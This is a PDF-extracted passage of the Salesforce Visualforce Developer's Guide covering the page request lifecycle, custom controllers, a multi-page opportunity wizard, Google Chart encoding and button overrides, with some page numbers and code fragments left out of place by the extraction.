In the diagram above the user initially requests a page, either by entering a URL or clicking a link or button. This initial page request is
called the get request.
1. The constructor methods on the associated custom controller or controller extension classes are called, instantiating the controller
objects.
2. If the page contains any custom components, they are created and the constructor methods on any associated custom controllers
or controller extensions are executed. If attributes are set on the custom component using expressions, the expressions are evaluated
after the constructors are evaluated.
100
3. The page then executes any assignTo attributes on any custom components on the page. After the assignTo methods are
executed, expressions are evaluated, the action attribute on the <apex:page> component is evaluated, and all other method
calls, such as getting or setting a property value, are made.
4. If the page contains an <apex:form> component, all of the information necessary to maintain the state of the database between
page requests is saved as an encrypted view state. The view state is updated whenever the page is updated.
5. The resulting HTML is sent to the browser. If there are any client-side technologies on the page, such as JavaScript, the browser
executes them.
As the user interacts with the page, the page contacts the controller objects as required to execute action, getter, and setter methods.
Once a new get request is made by the user, the view state and controller objects are deleted.
Note: If the user is redirected to a page that uses the same controller and the same or a proper subset of controller extensions,
a postback request is made. When a postback request is made, the view state is maintained.
If the user interaction requires a page update, such as when the user clicks a Save button that triggers a save action, a postback request
is made. For more information on postback requests, see Order of Execution for Visualforce Page Postback Requests on page 101.
For a specific example of a get request, see Examples of Visualforce Page Execution Order on page 103.
101
1. During a postback request, the view state is decoded and used as the basis for updating the values on the page.
Note: A component with the immediate attribute set to true bypasses this phase of the request. In other words, the
action executes, but no validation is performed on the inputs and no data changes on the page.
2. After the view state is decoded, expressions are evaluated and set methods on the controller and any controller extensions, including
set methods in controllers defined for custom components, are executed.
These method calls do not update the data unless all methods are executed successfully. For example, if one of the methods updates
a property and the update is not valid due to validation rules or an incorrect data type, the data is not updated and the page redisplays
with the appropriate error messages.
102
3. The action that triggered the postback request is executed. If that action completes successfully, the data is updated. If the postback
request returns the user to the same page, the view state is updated.
Note: The action attribute on the <apex:page> component is not evaluated during a postback request. It is only
evaluated during a get request.
4. The resulting HTML is sent to the browser.
If the postback request indicates a page redirect and the redirect is to a page that uses the same controller and a proper subset of
controller extensions of the originating page, a postback request is executed for that page. Otherwise, a get request is executed for the
page. If the postback request contains an <apex:form> component, only the ID query parameter on a postback request is returned.
Tip: You can use the setRedirect attribute on a pageReference to control whether a postback or get request is
executed. If setRedirect is set to true, a get request is executed. Setting it to false does not ignore the restriction that a
postback request will be executed if and only if the target uses the same controller and a proper subset of extensions. If
setRedirect is set to false, and the target does not meet those requirements, a get request will be made.
Once the user is redirected to another page, the view state and controller objects are deleted.
For a specific example of a postback request, see Examples of Visualforce Page Execution Order on page 103.
103
104
105
Let's trace the lifecycle to see why the page displays what it does. Since you've requested the page directly by entering a URL, this page
is the result of a get request, not a postback request.
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called.
The myController method is the constructor on the controller and the lifecycle method is the constructor on the
extension. Those are executed and the two objects now exist. The controller now has a variable, called account, that is the result
of a query that uses the id parameter from the URL, to identify which account object to query. The extension now has a variable,
called acct, that is created by calling the getAccount method on the controller. The getAccount method has no side-effects.
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or
controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller, but the controller has no explicit constructor. As with all Apex objects without
explicit constructors, the object is created using an implicit, no-argument, public constructor. As part of creating the custom
component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression
{!$CurrentPage.parameters.key}. Since we did not specify the key attribute in the URL, value is set to null.
3. After custom components are created, all assignTo attributes on those custom components are executed. An assignTo
attribute is a setter method that assigns the value of this attribute to a class variable in the associated custom component controller.
The editMode custom component does have an assignTo method, so it is executed. The assignTo method sets
selectedValue on the attribute to the value attribute. The value attribute is set to null, so selectedValue is set to
null.
4. The next step in a get request is evaluation of the action attribute on the <apex:page> component , expressions, and the
required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is
indeterminate and may be different than the following:
The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That
method sets the numberofemployees field on the acct object to 10.
There are several expressions that evaluate on the page. Let's focus on three:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting.
This is rendered on the page as Global Media Current Information.
<apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
The rendered attribute on <apex:form> is set based on the value of the key parameter. We did not set key when
calling the page, so the form is not rendered.
Value = {!value}<br/> selectedValue = {!selectedValue}<br/> EditMode =
{!EditMode}
This expression occurs in the custom component. We've already discussed that value and selectedValue are set
to null, however, the value of EditMode is not yet known. EditMode is a boolean variable on the
componentController. It is set based on the whether value is equal to null:
set {
selectedValue = value;
// Side effect here - don't do this!
editMode = (value != null);
}
106
Since value is null, EditMode is set to false. Note, however, that there is a side-effect in the setter method for
EditMode. As part of setting editMode, we also setselectedValue to value. Since value is null, this doesn't
change anything, but this behavior has an impact in a later example.
The other expressions and methods are evaluated in a similar manner.
5. Since the <apex:form> component isn't rendered, the view state isn't created.
6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
Let's trace the lifecycle again. This page is also the result of a get request:
1. The first thing that happens in a get request is that constructor methods on the custom controller and controller extension are called.
The myController method is the constructor on the controller and the lifecycle method is the constructor on the
extension. These are executed and the two objects now exist. The controller now has a variable, called account, that is the result
of a query that uses the id parameter from the URL to identify which account record to query. The extension now has a variable,
called acct, that is created by calling the getAccount method on the controller.
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or
controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller without a constructor, so the controller object is created using an implicit,
no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is
set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We specified the key
attribute as false, so value is set to false.
3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo
method sets selectedValue on the attribute to the value attribute. The value attribute is set to false, so selectedValue
is set to false.
4. The next step in a get request is evaluation of the action attribute on the <apex:page> component , expressions, and the
required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is
indeterminate and may be different than the following:
The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That
method sets the numberofemployees field on the acct object to 10.
107
Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting. It
108
2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or
controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller without a constructor, so the controller object is created using an implicit,
no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is
set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We specified the key
attribute as true, so value is set to true.
3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo
method sets selectedValue on the attribute to the value attribute. The value attribute is set to true, so selectedValue
is set to true.
4. The next step in a get request is evaluation of the action attribute on the <apex:page> component, expressions, and the
required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is
indeterminate and may be different than the following:
The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That
method sets the numberofemployees field on the acct object to 10.
Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting. It
Information.
109
We have not changed any of these values, so, for each expression, the value in the view state is used.
3. Lastly, the save action, the action that triggered the postback request, is evaluated. The save action is the following method on the
controller:
public PageReference save() {
update account;
return null;
}
This method updates the record with the new data. If this method fails, which it might do if the user does not have permission to
update the record, or if there are validation rules that are triggered by the change, the page is displayed along with error messages
describing the error. The values the user entered are not lost. They remain as they were when the user clicked the Save button.
Assuming there are no errors, the data on the object is updated, the view state is updated, and, since the action that triggered the
postback did not include a page redirect, the view state is updated. The resulting HTML is sent to the browser:
SEE ALSO:
Using the Development Mode Footer
110
has been extended to expect the following query parameter in the URL for the page: ?qp=yyyy. A test method class follows, which
exercises the functionality of this page:
public class thecontroller {
private
private
private
private
private
String
String
String
String
String
firstName;
lastName;
company;
email;
qp;
public thecontroller() {
this.qp = ApexPages.currentPage().getParameters().get('qp');
}
public String getFirstName() {
return this.firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return this.lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public String getCompany() {
return this.company;
}
public void setCompany(String company) {
this.company = company;
}
public String getEmail() {
return this.email;
}
public void setEmail(String email) {
this.email = email;
}
public PageReference save() {
PageReference p = null;
if (this.qp == null || !'yyyy'.equals(this.qp)) {
p = Page.failure;
p.getParameters().put('error', 'noParam');
} else {
try {
111
The controller calls two additional pages: a success page and a failure page. The text of those pages is not important for this example.
They merely have to exist.
The following markup uses the controller above:
<apex:page controller="thecontroller" tabstyle="lead">
<apex:pageBlock>
<apex:form>
<h1>Test page for adding leads</h1>
<p>This is a test page for adding leads.</p>
<p>First name: <apex:inputText value="{!FirstName}"></apex:inputText></p>
<p>Last name: <apex:inputText value="{!LastName}"></apex:inputText></p>
<p>Company: <apex:inputText value="{!Company}"></apex:inputText></p>
<p>Email address: <apex:inputText value="{!Email}"></apex:inputText></p>
<apex:commandButton action="{!save}" value="Save New Lead"/>
</apex:form>
</apex:pageBlock>
</apex:page>
112
Tip: If you are testing your controller you may see the following error message:
Method does not exist or incorrect signature: Test.setCurrentPage(System.PageReference)
If this message appears, look to see if you have created a class called Test. If you have, rename the class.
SEE ALSO:
"Testing Apex" in the Force.com Apex Code Developer's Guide
Note: The ID of a valid account record must be specified as a query parameter in the URL for this page to render. For example,
http://na3.salesforce.com/apex/myValidationPage?id=001x000xxx3Jsxb.
113
When the user saves the page, if a validation error is triggered, the exception is caught and displayed on the page as they are for a
standard controller.
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
PageReferences
XmlStream classes
Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
114
115
CHAPTER 8
Advanced Examples
The examples in the quick start tutorial are considered beginning examples, and primarily use only Visualforce markup. Advanced
examples use Force.com Apex code in addition to Visualforce markup.
You can create a controller class and add it to your page in two different ways:
Add the controller attribute to your page and use a quick fix to create the controller class on the fly:
1. In the page editor, add the controller attribute to the <apex:page> tag. For example:
<apex:page controller="MyController">
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page.
</apex:pageBlock>
</apex:page>
2. Use the quick fix option to automatically create a new Apex class named MyController.
Create and save the controller class in the Apex editor of your choice, and then reference it in your page:
116
Advanced Examples
1. In the application, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New to
create a new class.
2. Return to your page and add the controller attribute to the <apex:page> tag as described in the example above.
Note: A page can only reference one controller at a time. You cant use both the standardController attribute and the
controller attribute in an <apex:page> tag.
As soon as you save a page that references a valid custom controller, a second Controller editor tab is available next to the Page Editor.
This editor allows you to toggle back and forth between your page markup and the Apex that defines the pages logic.
The Custom Controller Editor
To display the results of a getter method in a page, use the name of the getter method without the get prefix in an expression. For
example, to display the result of the getName method in page markup, use {!name}:
<apex:page controller="MyController">
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page for the {!name} controller.
</apex:pageBlock>
</apex:page>
117
Advanced Examples
In earlier examples that used the standard Account controller, the pages displayed values from an account record specified in the URL
(with the id query string parameter) by using an {!account.<fieldName>} expression. This was possible because the Account
standard controller includes a getter method named getAccount that returns the specified account record. We can mimic this
functionality in a custom controller with the following code:
public class MyController {
public String getName() {
return 'MyController';
}
public Account getAccount() {
return [select id, name from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
}
}
Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For
example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the
page. To access id, the getAccount method uses the ApexPages namespace:
First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
Using the page reference, use the getParameters method to return a map of the specified query string parameter names and
values.
Then a call to the get method specifying id returns the value of the id parameter itself.
A page that uses the MyController controller can display either the account name or id fields with an {!account.name} or
{!account.id} expression, respectively. Only those fields are available to the page because those were the only fields returned
by the SOQL query in the controller.
To more closely mimic the standard Account controller, we can add the tabStyle attribute to the <apex:page> tag to give the
page the same styling as other account pages. The markup for the page now looks like this:
<apex:page controller="MyController" tabStyle="Account">
<apex:pageBlock title="Hello {!$User.FirstName}!">
This is your new page for the {!name} controller. <br/>
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>
118
Advanced Examples
119
Advanced Examples
Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter
in the URL for the page. For example:
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
Displaying Field Values with Visualforce on page 18 has more information about retrieving the ID of a record.
After saving the page above, the Visualforce editor offers a quick fix option to add the save method to the MyController class. If you
click the quick fix link, MyController now looks like this:
public class MyController {
public PageReference save() {
return null;
}
public String getName() {
return 'MyController';
}
public Account getAccount() {
return [select id, name from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
}
}
The save method that is generated by the quick fix takes the standard signature for an action method: it is public, returns a PageReference,
and contains no arguments.
Ultimately, the save method definition must update the database with new account values, but first we must define a member variable
to save the account information that is retrieved from the database. Without a member variable for the account, the record retrieved
from the database does not persist after its values are used to render the page, and the user's updates to the record cannot be saved.
To introduce this member variable, two parts of the controller code need to change:
The member variable must be added to the class
The member variable must be set when getAccount performs the initial query
public class MyController {
Account account;
public PageReference save() {
return null;
}
public String getName() {
return 'MyController';
}
public Account getAccount() {
if(account == null)
account = [select id, name, site from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
return account;
}
}
120
Advanced Examples
Now that the member variable is in place, all that the save method needs to do is update the database:
public class MyController {
Account account;
public PageReference save() {
update account;
return null;
}
public String getName() {
return 'MyController';
}
public Account getAccount() {
if(account == null)
account = [select id, name, site from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
return account;
}
}
A more robust solution for save might catch various exceptions, look for duplicates, and so on. Since this is meant to be a simple
example, those details have been left out.
To test this page, change the value in the Change Account Name field and click Save New Account Name. As with the standard
Account controller example, the page simply refreshes with the new account name. In the next example, we will extend the save action
so that instead of refreshing the current page, it navigates the user to a different confirmation page.
Note: For the page to render properly, you must specify a valid account ID in the URL. For example, if 001D000000HRgU6 is
the account ID, use the following URL:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000HRgU6
121
Advanced Examples
Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way,
the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will
prevent the page from being deleted while the controller or extension exists.
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID'
refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference
is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity
system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of
the specified page and won't issue an error message to prevent user deletion of the page.
For this example, suppose you want to redirect a user to another page with a new URL after he or she clicks Save. To do this, first create
a second page named mySecondPage by navigating to the following URL and using the quick fix:
https://Salesforce_instance/apex/mySecondPage
Then add the following markup to mySecondPage. For simplicity, just use the following standard-controller-based page that was defined
earlier in the tutorial:
<apex:page standardController="Account">
Hello {!$User.FirstName}!
<p>You are viewing the {!account.name} account.</p>
</apex:page>
Now return to the original page that you built in Defining Action Methods on page 119 and make sure that you have specified an account
id query parameter in the URL. Edit the save method in the controller so that it returns a PageReference to the new page you just
created, mySecondPage:
public class MyController {
Account account;
public PageReference save() {
update account;
PageReference secondPage = Page.mySecondPage;
secondPage.setRedirect(true);
return secondPage;
}
public String getName() {
return 'MyController';
}
122
Advanced Examples
Creating a Wizard
Notice in the code above that the redirect attribute for the PageReference is set to true. If this attribute is not set, the PageReference
is returned to the browser, but no navigation occursthe URL for the original page remains the same. If you want to change the URL
as a result of navigation, you have to set the redirect attribute.
If you test the page now, clicking Save New Account Name navigates to mySecondPage, but the data context is lostthat is, no value
is available for {!account.name}. The reason for this is that when a redirect occurs the controller clears the context state. Consequently
we need to reset the id query string parameter in the PageReference's parameter map:
public class MyUpdatedController {
Account account;
public PageReference save() {
update account;
PageReference secondPage = Page.mySecondPage;
secondPage.setRedirect(true);
secondPage.getParameters().put('id',account.id);
return secondPage;
}
public String getName() {
return 'MyController';
}
public Account getAccount() {
if(account == null)
account = [select id, name, site from Account
where id = :ApexPages.currentPage().getParameters().get('id')];
return account;
}
}
Creating a Wizard
Having learned about the essential features of Visualforce markup and controllers, this final example shows how they can be used
together to create a custom, three-step wizard that allows users to create an opportunity at the same time as a related contact, account,
and contact role:
The first step captures information related to the account and contact
The second step captures information related to the opportunity
The final step shows which records will be created and allows the user to save or cancel
To implement this wizard, we must define three pages for each of the three steps in the wizard, plus a single custom controller that sets
up navigation between each of the pages and tracks the data that the user enters.
123
Advanced Examples
Creating a Wizard
Important: Data that's used across several Visualforce pages must be defined within the first page, even if that page isn't using
the data. For example, if a field is necessary on pages two and three of a three-step process, page one must also contain the field.
You can hide this field from the user by setting the rendered attribute of the field to false.
The code for each of these components is included in the sections below, but first you need to understand the best procedure for
creating them because each of the three pages references the controller, and the controller references each of the three pages. In what
appears to be a conundrum, you cannot create the controller without the pages, but the pages have to exist to refer to them in the
controller.
We can work out of this problem by first defining pages that are completely empty, then creating the controller, and then adding markup
to the pages. Consequently, the best procedure for creating the wizard pages and controller is as follows:
1. Navigate to the URL for the first page, https://Salesforce_instance/apex/opptyStep1, and click Create Page
opptyStep1.
2. Repeat the step above for the other pages in the wizard, opptyStep2 and opptyStep3.
3. Create the newOpportunityController controller by adding it as an attribute to the <apex:page> tag on one of your
pages (for example, <apex:page controller="newOpportunityController">, and clicking Create Apex
controller newOpportunityController. Paste in all of the controller code and click Save.
4. Now return to the editors for the three pages that you created and copy in their code. The wizard should now work as expected.
Note: Although you can create an empty page, the reverse is not truein order for a page to refer to a controller, the controller
has to exist with all of its methods and properties.
// The next four methods return one of each of the four member
// variables. If this is the first time the method is called,
// it creates an empty record for the variable.
public Account getAccount() {
if(account == null) account = new Account();
return account;
}
public Contact getContact() {
if(contact == null) contact = new Contact();
return contact;
}
public Opportunity getOpportunity() {
if(opportunity == null) opportunity = new Opportunity();
124
Advanced Examples
Creating a Wizard
return opportunity;
}
public OpportunityContactRole getRole() {
if(role == null) role = new OpportunityContactRole();
return role;
}
// This method cancels the wizard, and returns the user to the
// Opportunities tab
public PageReference cancel() {
PageReference opportunityPage = new ApexPages.StandardController(opportunity).view();
opportunityPage.setRedirect(true);
return opportunityPage;
}
// This method performs the final save for all four objects, and
// then navigates the user to the detail page for the new
// opportunity.
public PageReference save() {
// Create the account. Before inserting, copy the contact's
// phone number into the account phone number field.
account.phone = contact.phone;
insert account;
// Create the contact. Before inserting, use the id field
// that's created once the account is inserted to create
// the relationship between the contact and the account.
contact.accountId = account.id;
insert contact;
// Create the opportunity. Before inserting, create
// another relationship with the account.
opportunity.accountId = account.id;
125
Advanced Examples
Creating a Wizard
insert opportunity;
// Create the junction contact role between the opportunity
// and the contact.
role.opportunityId = opportunity.id;
role.contactId = contact.id;
insert role;
// Finally, send the user to the detail page for
// the new opportunity.
126
Advanced Examples
Creating a Wizard
Notice the following about the markup for the first page of the wizard:
The <apex:pageBlock> tag can take an optional <apex:pageBlockButtons> child element that controls the buttons
that appear in the header and footer of the component. The order in which the <apex:pageBlockButtons> tag appears
in the <apex:pageBlock> body does not matter. In this page of the wizard, the <apex:pageBlockButtons> tag
includes the Next button that appears in the footer of the page block area.
The wizard relies on JavaScript code to display a dialog box asking if a user wants to navigate away when clicking the Cancel button.
Although the example includes the JavaScript directly in the markup for simplicity, it is a better practice to put JavaScript code in a
static resource and reference that resource instead.
In this page of the wizard, the Next button calls the step2 method in the controller, which returns a PageReference to the
next step of the wizard:
<apex:pageBlockButtons>
<apex:commandButton action="{!step2}" value="Next"/>
</apex:pageBlockButtons>
Command buttons must appear in a form, because the form component itself is responsible for refreshing the page display based
on the new PageReference.
An <apex:pageBlockSection> tag organizes a set of data for display. Similar to a table, an <apex:pageBlockSection>
consists of one or more columns, each of which spans two cellsone for a field's label, and one for its value. Each component found
in the body of an <apex:pageBlockSection> tag is placed into the next cell in a row until the number of columns is reached.
At that point, the next component wraps to the next row and is placed in the first cell.
Some components, including <apex:inputField>, automatically span both cells of a page block section column at once,
filling in both a field's label and value. For example, in the Contact Information area of this page, the First Name field is in the
first column, the Last Name field is in the second column, and the Phone field wraps to the first column of the next row:
<apex:pageBlockSection title="Contact Information">
<apex:inputField id="contactFirstName" value="{!contact.firstName}"/>
<apex:inputField id="contactLastName" value="{!contact.lastName}"/>
<apex:inputField id="contactPhone" value="{!contact.phone}"/>
</apex:pageBlockSection>
The value attribute on the first <apex:inputField> tag in the preceding code excerpt assigns the user's input to the
firstName field of the contact record that's returned by the getContact method in the controller.
Your page should look like this:
127
Advanced Examples
Creating a Wizard
Notice that although the markup for placing the Close Date, Stage, and Role for Contact fields on the form is the same
as the other fields, the <apex:inputField> tag examines the data type of each field to determine how to display it. For example,
clicking in the Close Date text box brings up a calendar from which users can select the date.
128
Advanced Examples
Creating a Wizard
129
Advanced Examples
<apex:outputField value="{!opportunity.closeDate}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
Notice that the third page of the wizard simply writes text to the page with <apex:outputField> tags.
Your final page should look like this:
Step 3 of the New Customer Opportunity Wizard
130
Advanced Examples
This code shows the custom list controller associated with the page:
public class retrieveCase {
public String getContactName() {
return 'Babara Levy';
}
public List<Case> getCases() {
return [SELECT status, subject FROM Case
WHERE Contact.name = 'Babara Levy' AND status != 'Closed' limit 5];
}
}
SEE ALSO:
Creating Visualforce Dashboard Components
131
Advanced Examples
/* The encoding map which takes an integer key and returns the
respective encoding value as defined by Google.
This map is initialized in init() */
private Map<Integer, String> encodingMap { get; set; }
/* The maximum encoding value supported for the given encoding
type. This value is set during init() */
private Integer encodingMax { get; set; }
/* The minimum encoding value supported for the given encoding
type. This value is set during init() */
private Integer encodingMin { get; set; }
/* The encoding type according to Google's API. Only SIMPLE
is implemented. */
public enum EncodingType { TEXT, SIMPLE, EXTENDED }
/* The minimum value to use in the generation of an encoding
value. */
public Integer min { get; private set; }
/* The maximum value to use in the generation of an encoding
value. */
public Integer max { get; private set; }
// The encoding type according to the API defined by Google
public EncodingType eType { get; private set; }
// Corresponds to the data set provided by the page
public String dataSet { get; set; }
// Corresponds to the type of graph selected on the page
public String graph { get; set; }
// The URL that renders the Google Chart
public String chartURL { get; set; }
// Indicates whether the chart should be displayed
public Boolean displayChart { get; set; }
public GoogleDataEncoding() {
min = 0;
max = 61;
eType = EncodingType.SIMPLE;
displayChart = false;
init();
}
public PageReference create() {
String[] dataSetList = dataSet.split(',', 0);
String mappedValue = 'chd=s:';
chartURL = 'http://chart.apis.google.com/chart?chs=600x300'
+ '&chtt=Time+vs|Distance&chxt=x,y,x,y'
132
Advanced Examples
+ '&chxr=0,0,10,1|1,0,65,5'
+ '&chxl=2:|Seconds|3:|Meters';
if (graph.compareTo('barChart') == 0)
{
chartURL += '&cht=bvs';
}
else if (graph.compareTo('lineChart') == 0)
{
chartURL += '&cht=ls';
}
else
{
throw new EncodingException('An unsupported chart type'
+ 'was selected: ' + graph + ' does not exist.');
}
for(String dataPoint : dataSetList)
{
mappedValue +=
getEncode(Integer.valueOf(dataPoint.trim()));
}
chartURL += '&' + mappedValue;
displayChart = true;
return null;
}
133
Advanced Examples
134
Advanced Examples
encodingMap.put(47,'v');
encodingMap.put(48,'w');
encodingMap.put(49,'x');
encodingMap.put(50,'y');
encodingMap.put(51,'z');
encodingMap.put(52,'0');
encodingMap.put(53,'1');
encodingMap.put(54,'2');
encodingMap.put(55,'3');
encodingMap.put(56,'4');
encodingMap.put(57,'5');
encodingMap.put(58,'6');
encodingMap.put(59,'7');
encodingMap.put(60,'8');
encodingMap.put(61,'9');
}
}
}
The Visualforce page needs two input elements: one for the chart type, and one for the data set. Below is a sample page that constructs
the form to collect this information:
<apex:page controller="GoogleDataEncoding">
<apex:form >
<apex:pageBlock
title="Create a Google Chart for Time and Distance">
<apex:outputLabel
value="Enter data set, separated by commas: "
for="dataInput"/><br/>
<apex:inputTextArea
id="dataInput" title="First Data Point"
value="{!dataSet}" rows="3" cols="50"/><br/>
<apex:selectRadio value="{!graph}"
layout="pageDirection">
<apex:selectOption itemValue="barChart"
itemLabel="Horizontal Bar Chart"/>
<apex:selectOption itemValue="lineChart"
itemLabel="Line Chart"/>
</apex:selectRadio>
<apex:commandButton action="{!create}"
value="Create"/>
</apex:pageBlock>
</apex:form>
<apex:image url="{!chartURL}" alt="Sample chart"
rendered="{!displayChart}"/>
</apex:page>
For a sample, enter the following sequence of numbers: 1, 1, 2, 3, 5, 8, 13, 21, 34, 55. Your page should render
the following:
135
Advanced Examples
136
Advanced Examples
4. From the object management settings for opportunities, go to Buttons, Links, and Actions.
5. Click New Button or Link.
6. Set the Button Label to Mass Update Stages, and set the Name to MassUpdateStages.
7. Set the Display Type to List Button and ensure that Display Checkboxes (for Multi-Record
Selection) is checked. Set the Behavior to Display in existing window with sidebar, and set the Content
Source to Visualforce Page. Click the name of the page you just created to associate it with this button.
8. Click Save.
9. From the object management settings for opportunities, go to Search Layouts. Then click Edit next to Opportunities List View.
10. Under Custom Buttons, move the Mass Update Stages button to the Selected Buttons list.
11. Click Save.
137
Advanced Examples
12. Click the Opportunities tab. Select or create a filter that displays some existing opportunities you would like to change.
13. You will see checkboxes next to each of the results. Click any number of checkboxes and click the Mass Update Stages button to
change the selected stages to any value you wish.
14. Click Save.
While this example shows you how to update one field, any number of fields in the prototype object can be referenced and applied to
the user's selection; any field in the prototype object that the user doesn't set doesn't affect the selected records. Remember that
properties of fields, such as their requiredness, are maintained in the prototype object. For example, if you include an input field on the
page for a required field such as Opportunity.StageName, the user must enter a value for the field.
Note: You only need selectedSizeWorkaround if you want your page to either display or reference the sizes of the user
selection or filtered set. Such a display is helpful since it gives the user information about the set that will be modified by the mass
update.
SEE ALSO:
Salesforce Help: Find Object Management Settings
138
CHAPTER 9
You can override the behavior of standard buttons on record detail pages. You can also override the tab home page that displays when
a user clicks a standard, custom, or external object tab.
To override a standard button or a tab home page:
1. Click Edit next to the button or tab home page you want to override.
2. Pick Visualforce Page as an override type.
3. Select the Visualforce page you want to run when users click the button or tab.
When overriding buttons with a Visualforce page, you must use the standard controller for the object on which the button appears.
For example, if you want to use a page to override the Edit button on accounts, the page markup must include the
standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account">
<!-- page content here -->
</apex:page>
When overriding tabs with a Visualforce page, you can select only Visualforce pages that use the standard list controller for that tab,
pages with a custom controller, or pages with no controller.
When overriding lists with a Visualforce page, you can select only Visualforce pages that use a standard list controller.
When overriding the New button with a Visualforce page, you have the option to skip the record type selection page. If you choose
this option, new records you create arent forwarded to the record type selection page. Salesforce assumes that your Visualforce
page is already handling record types.
Tip: Use a controller extension when you need to add extra functionality to Visualforce page that you are using as an override.
4. Optionally, enter any comments to note the reason for this change.
5. Click Save.
To remove an override:
1. From the appropriate objects management settings, go to Buttons, Links, and Actions.
2. Click Edit next to the override.
3. Select No Override (default behavior).
4. Click OK.
SEE ALSO:
Salesforce Help: Find Object Management Settings
139
Then, you can override the Account tab to display that page instead of the standard Account home page.
1. From the object management settings for accounts, go to Buttons, Links, and Actions.
2. Click Edit for the Accounts Tab.
3. From the Visualforce Page drop-down list, select the overrideAccountTab page.
4. Click Save.
Note: Make sure you have made this page available to all your users by setting the page level security appropriately.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Description
Label
Text that displays on user pages for the custom button or link.
Name
The unique name for the button or link used when referenced from a merge field.This name can
contain only underscores and alphanumeric characters, and must be unique in your org. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
Namespace Prefix
140
Attribute Name
Description
Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your
managed package under your control exclusively.
Protected
Component
Description
Text that distinguishes the button or link and is displayed when an administrator is setting up buttons
and links.
Display Type
Behavior
Content Source
To use a Visualforce page, select Visualforce Page, and choose the page from the drop-down list.
Visualforce pages cannot be used as custom links on the home page.
141
6. Optionally, set the window properties to open the button or link using settings other than the users default browser settings.
SEE ALSO:
Salesforce Help: Find Object Management Settings
142
d. Click Save.
4. Create a custom button on opportunities.
a. From the object management settings for opportunities, go to Buttons, Links, and Actions.
b. Click the button for creating a new button or link.
c. Set the Label to Edit Stage & Date.
d. Set the Display Type to List Button.
e. Set the Content Source to Visualforce Page.
f. From the Content drop-down list, select oppEditStageAndCloseDate.
g. Click Save.
h. A warning will display notifying you that the button will not be displayed until you have updated page layouts. Click OK.
5. Add the custom button to an account page layout.
a. From the object management settings for accounts, go to Page Layouts.
b. Click Edit for the appropriate page layout.
c. In the Related List Section, click on Opportunities, then click
